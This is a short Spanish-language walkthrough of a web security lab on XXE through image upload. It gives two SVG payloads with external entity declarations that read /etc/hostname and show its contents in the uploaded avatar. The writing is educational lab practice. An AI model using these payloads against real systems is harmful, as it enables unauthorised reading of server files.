
Lab: Exploiting XXE via image file upload
En el sitio web podemos observar que tenemos un apartado para ver los post 
Y también agregar un post con una imagen como avatar.

Al tratar de subir un archivo .png observamos este es muy grande, por lo que buscamos una imagen .svg que normalmente no pesan mucho.

Esta imagen si podemos subirla.

Al ser svg, se podría inyectar código malicioso y obtener el contenido de ciertos archivos.

Usaremos los siguientes payloads para leer el archivo /etc/hostname
c
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>c
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="20">&xxe;</text>
</svg>Al enviar la solicitud podemos observar que este se sube correctamente.

Y además el contenido del archivo esta en la imagen.

Aquí podemos ver el contenido del /etc/hostname
